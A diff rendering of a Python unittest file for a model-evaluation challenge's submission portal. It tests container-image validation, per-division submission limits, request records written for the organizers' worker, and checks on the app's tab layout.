size rather than TEST_IMAGE_SIZE_CAPS_GB[division]. It must also say
|
| 161 |
+
WHICH quantity that number is: the participant side measures the
|
| 162 |
+
uncompressed image on disk and the organizer side reads the compressed
|
| 163 |
+
size from the registry, and the two differ by enough to mislead.
|
| 164 |
+
"""
|
| 165 |
+
ok, msg = self._call()
|
| 166 |
+
self.assertTrue(ok, msg)
|
| 167 |
+
self.assertIn(str(config.TEST_IMAGE_ADVERTISED_GB), msg)
|
| 168 |
+
self.assertIn("compressed", msg)
|
| 169 |
+
|
| 170 |
+
def test_both_divisions_are_told_the_same_size(self):
|
| 171 |
+
# A per-division number here would contradict the Submit tab and guide.
|
| 172 |
+
large = self._call(division="large")[1]
|
| 173 |
+
small = self._call(
|
| 174 |
+
division="small", total_params=1_000_000_000, active_params=1_000_000_000
|
| 175 |
+
)[1]
|
| 176 |
+
for msg in (large, small):
|
| 177 |
+
self.assertIn(str(config.TEST_IMAGE_ADVERTISED_GB), msg)
|
| 178 |
+
|
| 179 |
+
def test_unknown_track_and_division_are_refused(self):
|
| 180 |
+
self.assertFalse(self._call(track="egoconv")[0])
|
| 181 |
+
self.assertFalse(self._call(division="medium")[0])
|
| 182 |
+
|
| 183 |
+
def test_the_declared_division_must_match_the_param_count(self):
|
| 184 |
+
ok, why = self._call(division="small", total_params=8_000_000_000,
|
| 185 |
+
active_params=8_000_000_000)
|
| 186 |
+
self.assertFalse(ok)
|
| 187 |
+
self.assertIn("large", why)
|
| 188 |
+
|
| 189 |
+
def test_active_params_must_not_exceed_total(self):
|
| 190 |
+
ok, why = self._call(active_params=9_000_000_000)
|
| 191 |
+
self.assertFalse(ok)
|
| 192 |
+
self.assertIn("active_params", why)
|
| 193 |
+
|
| 194 |
+
def test_a_bad_image_reference_fails_validation_not_just_submit(self):
|
| 195 |
+
# The dry-run button must catch this, or a team spends a slot to learn it.
|
| 196 |
+
self.assertFalse(self._call(image_ref="docker.io/x/y")[0])
|
| 197 |
+
|
| 198 |
+
|
| 199 |
+
class CountTestSubmissionsTest(unittest.TestCase):
|
| 200 |
+
"""Which request states hold a slot, and whose."""
|
| 201 |
+
|
| 202 |
+
def setUp(self):
|
| 203 |
+
self._tmp = tempfile.TemporaryDirectory()
|
| 204 |
+
self.addCleanup(self._tmp.cleanup)
|
| 205 |
+
self.records = {}
|
| 206 |
+
patch = mock.patch.object(st, "hf_hub_download", self._download)
|
| 207 |
+
patch.start()
|
| 208 |
+
self.addCleanup(patch.stop)
|
| 209 |
+
|
| 210 |
+
def _download(self, repo_id, path, repo_type=None, token=None):
|
| 211 |
+
local = os.path.join(self._tmp.name, path.replace("/", "_"))
|
| 212 |
+
payload = self.records[path]
|
| 213 |
+
with open(local, "w", encoding="utf-8") as fh:
|
| 214 |
+
fh.write(payload if isinstance(payload, str) else json.dumps(payload))
|
| 215 |
+
return local
|
| 216 |
+
|
| 217 |
+
def _add(self, sid, status, hf_user="team_a", track="convqa", division="large"):
|
| 218 |
+
path = f"requests/test/{track}/{division}/{sid}/request.json"
|
| 219 |
+
self.records[path] = {"submission_id": sid, "hf_user": hf_user,
|
| 220 |
+
"track": track, "status": status}
|
| 221 |
+
return path
|
| 222 |
+
|
| 223 |
+
def _count(self, hf_user="team_a", track="convqa", division="large"):
|
| 224 |
+
return st.count_test_submissions(
|
| 225 |
+
FakeApi(list(self.records)), hf_user, track, division
|
| 226 |
+
)
|
| 227 |
+
|
| 228 |
+
def test_pending_finished_and_failed_each_hold_a_slot(self):
|
| 229 |
+
self._add("s1", "PENDING")
|
| 230 |
+
self._add("s2", "FINISHED")
|
| 231 |
+
self._add("s3", "FAILED")
|
| 232 |
+
self.assertEqual(3, self._count())
|
| 233 |
+
|
| 234 |
+
def test_the_two_divisions_of_one_track_are_counted_separately(self):
|
| 235 |
+
# A sub-track is (track, division). Counting on track alone silently
|
| 236 |
+
# halved the allowance for any team entering both divisions, which is
|
| 237 |
+
# stricter than the published rules.
|
| 238 |
+
self._add("s1", "PENDING", division="large")
|
| 239 |
+
self._add("s2", "FINISHED", division="large")
|
| 240 |
+
self._add("s3", "PENDING", division="small")
|
| 241 |
+
self.assertEqual(2, self._count(division="large"))
|
| 242 |
+
self.assertEqual(1, self._count(division="small"))
|
| 243 |
+
|
| 244 |
+
def test_a_full_division_does_not_block_the_other(self):
|
| 245 |
+
for i in range(config.MAX_TEST_SUBMISSIONS_PER_TRACK):
|
| 246 |
+
self._add(f"L{i}", "FINISHED", division="large")
|
| 247 |
+
self.assertEqual(config.MAX_TEST_SUBMISSIONS_PER_TRACK,
|
| 248 |
+
self._count(division="large"))
|
| 249 |
+
self.assertEqual(0, self._count(division="small"))
|
| 250 |
+
|
| 251 |
+
def test_another_track_is_still_counted_separately(self):
|
| 252 |
+
self._add("s1", "PENDING", track="convqa", division="large")
|
| 253 |
+
self._add("s2", "PENDING", track="longqa", division="large")
|
| 254 |
+
self.assertEqual(1, self._count(track="convqa", division="large"))
|
| 255 |
+
self.assertEqual(1, self._count(track="longqa", division="large"))
|
| 256 |
+
|
| 257 |
+
def test_a_rejected_submission_does_not_hold_a_slot(self):
|
| 258 |
+
self._add("s1", "REJECTED")
|
| 259 |
+
self._add("s2", "FINISHED")
|
| 260 |
+
self.assertEqual(1, self._count())
|
| 261 |
+
|
| 262 |
+
def test_another_teams_submissions_are_not_counted(self):
|
| 263 |
+
for i in range(3):
|
| 264 |
+
self._add(f"o{i}", "FINISHED", hf_user="team_b")
|
| 265 |
+
self.assertEqual(0, self._count())
|
| 266 |
+
|
| 267 |
+
def test_another_track_is_not_counted(self):
|
| 268 |
+
for i in range(3):
|
| 269 |
+
self._add(f"l{i}", "FINISHED", track="longqa")
|
| 270 |
+
self.assertEqual(0, self._count("team_a", "convqa"))
|
| 271 |
+
|
| 272 |
+
def test_both_divisions_do_NOT_count_against_each_other(self):
|
| 273 |
+
# Re-pointed 2026-08-05. This previously asserted that Small and Large
|
| 274 |
+
# shared one allowance ("count_against_one_track"). The published rules
|
| 275 |
+
# say the limit is per SUB-TRACK, so a team entering both divisions gets
|
| 276 |
+
# the full allowance in each. Kept rather than deleted so the reversal is
|
| 277 |
+
# visible: the old semantics were deliberate, not an oversight.
|
| 278 |
+
self._add("s1", "PENDING", division="large")
|
| 279 |
+
self._add("s2", "PENDING", division="small")
|
| 280 |
+
self.assertEqual(1, self._count(division="large"))
|
| 281 |
+
self.assertEqual(1, self._count(division="small"))
|
| 282 |
+
|
| 283 |
+
|
| 284 |
+
def test_val_phase_requests_are_not_counted(self):
|
| 285 |
+
self.records["requests/val/convqa/large/v1/request.json"] = {
|
| 286 |
+
"submission_id": "v1", "hf_user": "team_a", "track": "convqa",
|
| 287 |
+
"status": "FINISHED"}
|
| 288 |
+
self.assertEqual(0, self._count())
|
| 289 |
+
|
| 290 |
+
def test_an_unreadable_request_is_skipped_rather_than_blocking_a_submit(self):
|
| 291 |
+
self._add("s1", "FINISHED")
|
| 292 |
+
self.records["requests/test/convqa/large/bad/request.json"] = "{not json"
|
| 293 |
+
self.assertEqual(1, self._count())
|
| 294 |
+
|
| 295 |
+
def test_a_listing_failure_reports_zero_and_leaves_the_gate_to_the_worker(self):
|
| 296 |
+
class Broken(FakeApi):
|
| 297 |
+
def list_repo_files(self, repo_id, repo_type=None):
|
| 298 |
+
raise RuntimeError("hf is down")
|
| 299 |
+
|
| 300 |
+
self.assertEqual(0, st.count_test_submissions(Broken(), "team_a", "convqa", "large"))
|
| 301 |
+
|
| 302 |
+
|
| 303 |
+
class SubmitTest(unittest.TestCase):
|
| 304 |
+
def setUp(self):
|
| 305 |
+
self.api = FakeApi()
|
| 306 |
+
p1 = mock.patch.object(st, "HfApi", lambda token=None: self.api)
|
| 307 |
+
p2 = mock.patch.object(config, "TEST_PHASE_OPEN", True)
|
| 308 |
+
p3 = mock.patch.object(st, "count_test_submissions", lambda *a, **k: self.held)
|
| 309 |
+
for p in (p1, p2, p3):
|
| 310 |
+
p.start()
|
| 311 |
+
self.addCleanup(p.stop)
|
| 312 |
+
self.held = 0
|
| 313 |
+
|
| 314 |
+
def _submit(self, **over):
|
| 315 |
+
kw = dict(hf_user="team_a", track="convqa", division="large",
|
| 316 |
+
team_name="Team A", model_name="M-8B", license_str="apache-2.0",
|
| 317 |
+
open_weight=True, total_params=8_000_000_000,
|
| 318 |
+
active_params=8_000_000_000, image_ref=REF, image_digest=DIGEST,
|
| 319 |
+
token="t")
|
| 320 |
+
kw.update(over)
|
| 321 |
+
return st.validate_and_submit(**kw)
|
| 322 |
+
|
| 323 |
+
def _written(self):
|
| 324 |
+
self.assertEqual(1, len(self.api.uploads))
|
| 325 |
+
path, body, _ = self.api.uploads[0]
|
| 326 |
+
return path, json.loads(body)
|
| 327 |
+
|
| 328 |
+
def test_a_valid_registration_writes_one_request_and_nothing_else(self):
|
| 329 |
+
ok, msg = self._submit()
|
| 330 |
+
self.assertTrue(ok, msg)
|
| 331 |
+
path, obj = self._written()
|
| 332 |
+
self.assertTrue(path.startswith("requests/test/convqa/large/"))
|
| 333 |
+
self.assertTrue(path.endswith("/request.json"))
|
| 334 |
+
self.assertEqual("PENDING", obj["status"])
|
| 335 |
+
self.assertEqual("test", obj["phase"])
|
| 336 |
+
|
| 337 |
+
def test_no_predictions_file_is_uploaded(self):
|
| 338 |
+
# The whole point of the phase: the team ships an image, not answers.
|
| 339 |
+
self._submit()
|
| 340 |
+
self.assertEqual([], [p for p, _, _ in self.api.uploads if p.endswith(".jsonl")])
|
| 341 |
+
|
| 342 |
+
def test_the_image_is_recorded_by_digest(self):
|
| 343 |
+
self._submit()
|
| 344 |
+
_, obj = self._written()
|
| 345 |
+
self.assertEqual(REF, obj["image"]["ref"])
|
| 346 |
+
self.assertEqual(DIGEST, obj["image"]["digest"])
|
| 347 |
+
self.assertNotIn(":latest", json.dumps(obj))
|
| 348 |
+
|
| 349 |
+
def test_the_submission_id_is_in_the_path_and_the_body(self):
|
| 350 |
+
self._submit()
|
| 351 |
+
path, obj = self._written()
|
| 352 |
+
self.assertEqual(obj["submission_id"], path.split("/")[-2])
|
| 353 |
+
|
| 354 |
+
def test_the_cap_refuses_the_fourth_and_writes_nothing(self):
|
| 355 |
+
self.held = config.MAX_TEST_SUBMISSIONS_PER_TRACK
|
| 356 |
+
ok, why = self._submit()
|
| 357 |
+
self.assertFalse(ok)
|
| 358 |
+
self.assertIn("limit reached", why)
|
| 359 |
+
self.assertEqual([], self.api.uploads)
|
| 360 |
+
|
| 361 |
+
def test_the_last_allowed_submission_is_accepted_and_reports_zero_left(self):
|
| 362 |
+
self.held = config.MAX_TEST_SUBMISSIONS_PER_TRACK - 1
|
| 363 |
+
ok, msg = self._submit()
|
| 364 |
+
self.assertTrue(ok, msg)
|
| 365 |
+
self.assertIn("0 of", msg)
|
| 366 |
+
|
| 367 |
+
def test_a_closed_phase_refuses_everything(self):
|
| 368 |
+
with mock.patch.object(config, "TEST_PHASE_OPEN", False):
|
| 369 |
+
ok, why = self._submit()
|
| 370 |
+
self.assertFalse(ok)
|
| 371 |
+
self.assertIn("not open", why)
|
| 372 |
+
self.assertEqual([], self.api.uploads)
|
| 373 |
+
|
| 374 |
+
def test_a_missing_team_name_or_token_is_refused_before_any_upload(self):
|
| 375 |
+
self.assertFalse(self._submit(team_name=" ")[0])
|
| 376 |
+
self.assertFalse(self._submit(token="")[0])
|
| 377 |
+
self.assertEqual([], self.api.uploads)
|
| 378 |
+
|
| 379 |
+
def test_an_invalid_image_is_refused_before_any_upload(self):
|
| 380 |
+
ok, _ = self._submit(image_ref="docker.io/x/y")
|
| 381 |
+
self.assertFalse(ok)
|
| 382 |
+
self.assertEqual([], self.api.uploads)
|
| 383 |
+
|
| 384 |
+
def test_an_upload_failure_does_not_leak_the_exception_to_the_ui(self):
|
| 385 |
+
class Boom(FakeApi):
|
| 386 |
+
def upload_file(self, **kw):
|
| 387 |
+
raise RuntimeError("s3://internal-bucket/secret path denied")
|
| 388 |
+
|
| 389 |
+
with mock.patch.object(st, "HfApi", lambda token=None: Boom()):
|
| 390 |
+
ok, why = self._submit()
|
| 391 |
+
self.assertFalse(ok)
|
| 392 |
+
self.assertNotIn("internal-bucket", why)
|
| 393 |
+
self.assertIn("retry", why)
|
| 394 |
+
|
| 395 |
+
|
| 396 |
+
class WorkerContractTest(unittest.TestCase):
|
| 397 |
+
"""The request written here must be one the organizers' worker accepts.
|
| 398 |
+
|
| 399 |
+
The worker lives outside this repository and cannot be imported from this
|
| 400 |
+
repo, so its contract is restated here. If a field name below changes, change
|
| 401 |
+
it in BOTH places; a mismatch is silent, and its symptom is a team whose
|
| 402 |
+
submission is written successfully and then never scored.
|
| 403 |
+
|
| 404 |
+
The reverse direction is pinned on the worker's side, where
|
| 405 |
+
tests/test_test_phase_worker.py runs parse_request() against this same shape.
|
| 406 |
+
"""
|
| 407 |
+
|
| 408 |
+
# From test_phase_worker.parse_request(): fields it requires non-empty, and
|
| 409 |
+
# the two anchored patterns it applies.
|
| 410 |
+
WORKER_REQUIRED = ("submission_id", "track", "division", "team_name", "hf_user")
|
| 411 |
+
WORKER_PHASE = "test"
|
| 412 |
+
WORKER_TRACKS = ("convqa", "longqa", "proactive")
|
| 413 |
+
WORKER_DIVISIONS = ("small", "large")
|
| 414 |
+
WORKER_ECR_RE = (
|
| 415 |
+
r"^(?P<registry>\d{12}\.dkr\.ecr\.[a-z0-9-]+\.amazonaws\.com)"
|
| 416 |
+
r"/(?P<repository>[a-z0-9][a-z0-9._/-]*[a-z0-9])$"
|
| 417 |
+
)
|
| 418 |
+
WORKER_DIGEST_RE = r"^sha256:[0-9a-f]{64}$"
|
| 419 |
+
|
| 420 |
+
def setUp(self):
|
| 421 |
+
self.api = FakeApi()
|
| 422 |
+
for p in (
|
| 423 |
+
mock.patch.object(st, "HfApi", lambda token=None: self.api),
|
| 424 |
+
mock.patch.object(config, "TEST_PHASE_OPEN", True),
|
| 425 |
+
mock.patch.object(st, "count_test_submissions", lambda *a, **k: 0),
|
| 426 |
+
):
|
| 427 |
+
p.start()
|
| 428 |
+
self.addCleanup(p.stop)
|
| 429 |
+
|
| 430 |
+
def _emit(self, track="convqa", division="large"):
|
| 431 |
+
params = 8_000_000_000 if division == "large" else 1_000_000_000
|
| 432 |
+
ok, msg = st.validate_and_submit(
|
| 433 |
+
hf_user="team_a", track=track, division=division, team_name="Team A",
|
| 434 |
+
model_name="M-8B", license_str="apache-2.0", open_weight=True,
|
| 435 |
+
total_params=params, active_params=params,
|
| 436 |
+
image_ref=REF, image_digest=DIGEST, token="t")
|
| 437 |
+
self.assertTrue(ok, msg)
|
| 438 |
+
return json.loads(self.api.uploads[-1][1])
|
| 439 |
+
|
| 440 |
+
def test_the_emitted_request_satisfies_every_worker_requirement(self):
|
| 441 |
+
obj = self._emit()
|
| 442 |
+
self.assertEqual(self.WORKER_PHASE, obj.get("phase"))
|
| 443 |
+
for k in self.WORKER_REQUIRED:
|
| 444 |
+
self.assertTrue(obj.get(k), f"worker requires a non-empty {k!r}")
|
| 445 |
+
self.assertIn(obj["track"], self.WORKER_TRACKS)
|
| 446 |
+
self.assertIn(obj["division"], self.WORKER_DIVISIONS)
|
| 447 |
+
image = obj.get("image") or {}
|
| 448 |
+
self.assertTrue(re.match(self.WORKER_ECR_RE, image.get("ref", "")))
|
| 449 |
+
self.assertTrue(re.match(self.WORKER_DIGEST_RE, image.get("digest", "")))
|
| 450 |
+
|
| 451 |
+
def test_every_track_and_division_the_ui_offers_is_one_the_worker_knows(self):
|
| 452 |
+
# A track offered on the Test tab and not known to the worker would be
|
| 453 |
+
# rejected after the team spent a slot. TEST_TRACKS is what the tab
|
| 454 |
+
# offers; TRACKS is the full set the worker parses, and the test phase
|
| 455 |
+
# deliberately offers fewer, so this is a subset check, not equality.
|
| 456 |
+
self.assertTrue(set(config.TEST_TRACKS) <= set(self.WORKER_TRACKS))
|
| 457 |
+
self.assertEqual(set(self.WORKER_TRACKS), set(config.TRACKS))
|
| 458 |
+
self.assertEqual(set(self.WORKER_DIVISIONS), set(config.DIVISIONS))
|
| 459 |
+
|
| 460 |
+
def test_this_repos_patterns_are_the_workers_patterns(self):
|
| 461 |
+
self.assertEqual(self.WORKER_ECR_RE, config.ECR_REF_RE)
|
| 462 |
+
self.assertEqual(self.WORKER_DIGEST_RE, config.DIGEST_RE)
|
| 463 |
+
|
| 464 |
+
def test_the_path_matches_where_the_worker_looks(self):
|
| 465 |
+
# The worker globs requests/test/**/request.json and derives nothing else
|
| 466 |
+
# from the path, but it does read the submission id back out of it.
|
| 467 |
+
obj = self._emit(track="longqa", division="small")
|
| 468 |
+
path = self.api.uploads[-1][0]
|
| 469 |
+
self.assertEqual(
|
| 470 |
+
f"requests/test/longqa/small/{obj['submission_id']}/request.json", path)
|
| 471 |
+
|
| 472 |
+
|
| 473 |
+
class NoTestClassIsStrandedTest(unittest.TestCase):
|
| 474 |
+
"""The __main__ guard must be the last thing in the file.
|
| 475 |
+
|
| 476 |
+
`python3 <file>` calls unittest.main() at the guard, so any class below it is
|
| 477 |
+
never defined and is silently skipped while the run still prints OK. This bit
|
| 478 |
+
the organizers' worker suite at 10 of 16 classes stranded.
|
| 479 |
+
"""
|
| 480 |
+
|
| 481 |
+
def test_no_test_class_is_declared_below_the_main_guard(self):
|
| 482 |
+
import ast
|
| 483 |
+
|
| 484 |
+
with open(__file__, encoding="utf-8") as fh:
|
| 485 |
+
tree = ast.parse(fh.read())
|
| 486 |
+
guards = [n.lineno for n in ast.walk(tree)
|
| 487 |
+
if isinstance(n, ast.If) and "__main__" in ast.dump(n.test)]
|
| 488 |
+
self.assertEqual(1, len(guards), "expected exactly one __main__ guard")
|
| 489 |
+
stranded = [n.name for n in tree.body
|
| 490 |
+
if isinstance(n, ast.ClassDef) and n.lineno > guards[0]]
|
| 491 |
+
self.assertEqual([], stranded, f"classes below the guard: {stranded}")
|
| 492 |
+
|
| 493 |
+
|
| 494 |
+
class TestPhaseOffersOnlyScorableTracksTest(unittest.TestCase):
|
| 495 |
+
"""The Test tab must not offer a track we cannot score.
|
| 496 |
+
|
| 497 |
+
Registration is what consumes one of a team's three per-track slots, so a
|
| 498 |
+
track offered without staged gold costs the participant a slot and returns
|
| 499 |
+
nothing. EgoProactive is exactly that today: the split list exists but the
|
| 500 |
+
gold jsonl and the staged test videos do not.
|
| 501 |
+
|
| 502 |
+
If the proactive test gold is staged later, add "proactive" to
|
| 503 |
+
config.TEST_TRACKS and this whole class goes green with no other edit; the
|
| 504 |
+
first test below is the one that will start failing, which is the intent.
|
| 505 |
+
"""
|
| 506 |
+
|
| 507 |
+
def test_the_offered_tracks_are_exactly_the_unblocked_ones(self):
|
| 508 |
+
# Assert the DERIVATION, not the current membership. An earlier version
|
| 509 |
+
# of this class pinned "proactive" absent, which meant the documented
|
| 510 |
+
# one-line reopen (delete its TEST_TRACKS_BLOCKED entry) failed the
|
| 511 |
+
# suite -- the test contradicted the comment telling you how to change
|
| 512 |
+
# it. Now removing the entry is genuinely the only edit needed.
|
| 513 |
+
self.assertEqual(
|
| 514 |
+
[t for t in config.TRACKS if t not in config.TEST_TRACKS_BLOCKED],
|
| 515 |
+
config.TEST_TRACKS,
|
| 516 |
+
)
|
| 517 |
+
|
| 518 |
+
def test_every_blocked_track_is_real_and_carries_a_reason(self):
|
| 519 |
+
for t, why in config.TEST_TRACKS_BLOCKED.items():
|
| 520 |
+
self.assertIn(t, config.TRACKS, f"{t} is blocked but is not a track")
|
| 521 |
+
self.assertGreater(len(why), 40, f"{t} is blocked without a reason")
|
| 522 |
+
|
| 523 |
+
def test_the_test_tracks_are_a_subset_of_the_tracks(self):
|
| 524 |
+
self.assertTrue(set(config.TEST_TRACKS) <= set(config.TRACKS))
|
| 525 |
+
|
| 526 |
+
def test_no_unmanaged_open_in_this_file(self):
|
| 527 |
+
# The ResourceWarning that prompted this: one bare open() among the
|
| 528 |
+
# with-statements, invisible under a normal run and fatal under
|
| 529 |
+
# -W error::ResourceWarning.
|
| 530 |
+
import ast
|
| 531 |
+
|
| 532 |
+
with open(__file__, encoding="utf-8") as fh:
|
| 533 |
+
tree = ast.parse(fh.read())
|
| 534 |
+
managed = set()
|
| 535 |
+
for n in ast.walk(tree):
|
| 536 |
+
if isinstance(n, (ast.With, ast.AsyncWith)):
|
| 537 |
+
for item in n.items:
|
| 538 |
+
if isinstance(item.context_expr, ast.Call):
|
| 539 |
+
managed.add(id(item.context_expr))
|
| 540 |
+
bare = [
|
| 541 |
+
n.lineno
|
| 542 |
+
for n in ast.walk(tree)
|
| 543 |
+
if isinstance(n, ast.Call)
|
| 544 |
+
and isinstance(n.func, ast.Name)
|
| 545 |
+
and n.func.id == "open"
|
| 546 |
+
and id(n) not in managed
|
| 547 |
+
]
|
| 548 |
+
self.assertEqual([], bare, f"unmanaged open() at line(s): {bare}")
|
| 549 |
+
|
| 550 |
+
def test_every_offered_track_has_a_label_and_a_config_folder(self):
|
| 551 |
+
for t in config.TEST_TRACKS:
|
| 552 |
+
self.assertIn(t, config.TRACK_LABELS)
|
| 553 |
+
self.assertIn(t, config.TRACK_CONFIG)
|
| 554 |
+
|
| 555 |
+
def test_the_test_tab_radio_is_built_from_test_tracks(self):
|
| 556 |
+
# The radio is built at import time inside a gradio Blocks context, so
|
| 557 |
+
# it cannot be introspected here. Assert on the source instead: the
|
| 558 |
+
# Test tab is the SECOND track radio in app.py, and it must not be
|
| 559 |
+
# wired to config.TRACKS.
|
| 560 |
+
import ast
|
| 561 |
+
|
| 562 |
+
app_py = os.path.join(
|
| 563 |
+
os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
|
| 564 |
+
)
|
| 565 |
+
with open(app_py, encoding="utf-8") as fh:
|
| 566 |
+
tree = ast.parse(fh.read())
|
| 567 |
+
radios = [
|
| 568 |
+
n
|
| 569 |
+
for n in ast.walk(tree)
|
| 570 |
+
if isinstance(n, ast.Call)
|
| 571 |
+
and isinstance(n.func, ast.Attribute)
|
| 572 |
+
and n.func.attr == "Radio"
|
| 573 |
+
and any(
|
| 574 |
+
isinstance(k, ast.keyword) and k.arg == "label"
|
| 575 |
+
and getattr(k.value, "value", None) == "Track"
|
| 576 |
+
for k in n.keywords
|
| 577 |
+
)
|
| 578 |
+
]
|
| 579 |
+
# Re-pointed 2026-08-06: registration added a third Track radio. The
|
| 580 |
+
# property is unchanged and now covers it: only the VALIDATION radio may
|
| 581 |
+
# offer config.TRACKS. Every radio on a test-phase form must be built
|
| 582 |
+
# from TEST_TRACKS, or the form offers a track the phase cannot score
|
| 583 |
+
# and a team spends a seat on it.
|
| 584 |
+
sources = [ast.unparse(r.args[0]) for r in radios]
|
| 585 |
+
self.assertEqual(3, len(radios), f"Track radios found: {sources}")
|
| 586 |
+
self.assertEqual(1, sources.count("config.TRACKS"), "only Validation may use TRACKS")
|
| 587 |
+
self.assertEqual(2, sources.count("config.TEST_TRACKS"), sources)
|
| 588 |
+
self.assertEqual("config.TRACKS", sources[0], "Validation tab is built first")
|
| 589 |
+
|
| 590 |
+
def test_the_form_sections_are_numbered_like_the_instructions(self):
|
| 591 |
+
"""The tab has two forms and a four-step guide; they must agree.
|
| 592 |
+
|
| 593 |
+
Before this, the guide called submission Step 4 while the form section
|
| 594 |
+
above it said "Step 2", so a participant reading both got two different
|
| 595 |
+
numbers for the same action. Pinned because the two live ~300 lines
|
| 596 |
+
apart and drift silently.
|
| 597 |
+
"""
|
| 598 |
+
app_py = os.path.join(
|
| 599 |
+
os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
|
| 600 |
+
)
|
| 601 |
+
with open(app_py, encoding="utf-8") as fh:
|
| 602 |
+
src = fh.read()
|
| 603 |
+
|
| 604 |
+
guide = re.findall(r"^### Step (\d) — (.+)$", src, re.M)
|
| 605 |
+
self.assertEqual(["1", "2", "3", "4"], [n for n, _ in guide],
|
| 606 |
+
f"guide steps are not 1-4: {guide}")
|
| 607 |
+
|
| 608 |
+
# Every step the guide names must be reachable from the tab: either as a
|
| 609 |
+
# form section of its own, or named in the pointer that covers it.
|
| 610 |
+
for n, title in guide:
|
| 611 |
+
self.assertIn(f"Step {n}", src, f"guide Step {n} ({title}) is unreachable")
|
| 612 |
+
|
| 613 |
+
# The two interactive sections carry the guide's own numbers, and the
|
| 614 |
+
# two off-page steps are covered by one section between them, so the tab
|
| 615 |
+
# reads 1, 2-3, 4 with no gap and no bare heading breaking the rhythm.
|
| 616 |
+
self.assertIn('"Step 1 — Register your team', src)
|
| 617 |
+
self.assertIn('"Steps 2 and 3 — Build your image', src)
|
| 618 |
+
self.assertIn('"Step 4 — Submit an image for evaluation"', src)
|
| 619 |
+
self.assertNotIn('"Step 2 — Register an image', src)
|
| 620 |
+
|
| 621 |
+
def test_every_step_of_the_test_tab_is_the_same_kind_of_section(self):
|
| 622 |
+
"""All four steps are accordions; none is a bare heading.
|
| 623 |
+
|
| 624 |
+
Steps 1 and 4 were accordions while 2 and 3 were an H3 with loose prose
|
| 625 |
+
between them, so the middle of the flow looked like a different kind of
|
| 626 |
+
thing and read as a divider rather than a step.
|
| 627 |
+
"""
|
| 628 |
+
app_py = os.path.join(
|
| 629 |
+
os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
|
| 630 |
+
)
|
| 631 |
+
with open(app_py, encoding="utf-8") as fh:
|
| 632 |
+
src = fh.read()
|
| 633 |
+
tab = src[src.index("def test_register_section"):src.index("def submit_tab")]
|
| 634 |
+
for title in ('"Step 1 — Register your team',
|
| 635 |
+
'"Steps 2 and 3 — Build your image',
|
| 636 |
+
'"Step 4 — Submit an image for evaluation"'):
|
| 637 |
+
i = tab.index(title)
|
| 638 |
+
before = tab[max(0, i - 200):i]
|
| 639 |
+
self.assertIn("gr.Accordion", before, f"{title} is not an accordion")
|
| 640 |
+
# No step is a markdown heading.
|
| 641 |
+
self.assertNotIn("### Step", tab)
|
| 642 |
+
self.assertNotIn("### Steps", tab)
|
| 643 |
+
|
| 644 |
+
def test_the_test_tab_has_exactly_one_sign_in_button(self):
|
| 645 |
+
# Both forms need the same session. Two buttons on one tab read as two
|
| 646 |
+
# different logins and invite a participant to sign in twice.
|
| 647 |
+
app_py = os.path.join(
|
| 648 |
+
os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
|
| 649 |
+
)
|
| 650 |
+
with open(app_py, encoding="utf-8") as fh:
|
| 651 |
+
src = fh.read()
|
| 652 |
+
section = src[src.index("def test_register_section"):src.index("def submit_tab")]
|
| 653 |
+
self.assertEqual(1, section.count("gr.LoginButton"),
|
| 654 |
+
"the Test tab must have exactly one LoginButton")
|
| 655 |
+
|
| 656 |
+
def test_a_blocked_track_is_refused_with_a_useful_message(self):
|
| 657 |
+
# Generic over TEST_TRACKS_BLOCKED, not hardcoded to proactive, so that
|
| 658 |
+
# emptying that dict (the documented one-line reopen) leaves this green.
|
| 659 |
+
# The last block always runs, so this is never a vacuous pass.
|
| 660 |
+
args = dict(
|
| 661 |
+
division="large",
|
| 662 |
+
total_params=8_000_000_000,
|
| 663 |
+
active_params=8_000_000_000,
|
| 664 |
+
image_ref="123456789012.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/t",
|
| 665 |
+
image_digest="sha256:" + "a" * 64,
|
| 666 |
+
)
|
| 667 |
+
for t in config.TEST_TRACKS_BLOCKED:
|
| 668 |
+
ok, why = st.validate_only(track=t, **args)
|
| 669 |
+
self.assertFalse(ok, f"{t} is blocked but validated")
|
| 670 |
+
# Not "unknown track": it is a real track with no test gold.
|
| 671 |
+
self.assertNotIn("Unknown track", why)
|
| 672 |
+
self.assertIn("cannot score", why)
|
| 673 |
+
for open_t in config.TEST_TRACKS:
|
| 674 |
+
self.assertIn(config.TRACK_LABELS[open_t], why)
|
| 675 |
+
|
| 676 |
+
self.assertTrue(config.TEST_TRACKS, "the test phase offers no tracks at all")
|
| 677 |
+
for t in config.TEST_TRACKS:
|
| 678 |
+
ok, why = st.validate_only(track=t, **args)
|
| 679 |
+
self.assertTrue(ok, f"{t} is offered but does not validate: {why}")
|
| 680 |
+
|
| 681 |
+
if __name__ == "__main__":
|
| 682 |
+
unittest.main()
|
tests/test_val_phase_closed.py
ADDED
|
@@ -0,0 +1,346 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
